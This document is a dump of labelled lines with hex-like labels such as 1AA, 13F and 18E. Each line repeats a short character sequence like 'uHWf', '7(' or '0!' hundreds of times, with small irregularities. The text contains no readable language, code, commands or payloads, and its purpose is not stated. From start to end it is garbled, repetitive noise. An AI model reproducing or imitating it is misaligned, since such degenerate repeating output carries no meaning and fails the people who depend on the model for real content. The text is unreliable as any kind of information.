>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>
1AA:g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg g?hhg h>hhg h>hhg h>hhg h>hhg h>hhg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg h>hgg hh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?ghh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhh/g?hhg g?hhg g?
1B0:uHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfuHWfu
1D0:
13A:7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7((7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7(7
13F:=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=..=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=
17C:0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0!0
18E:zM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k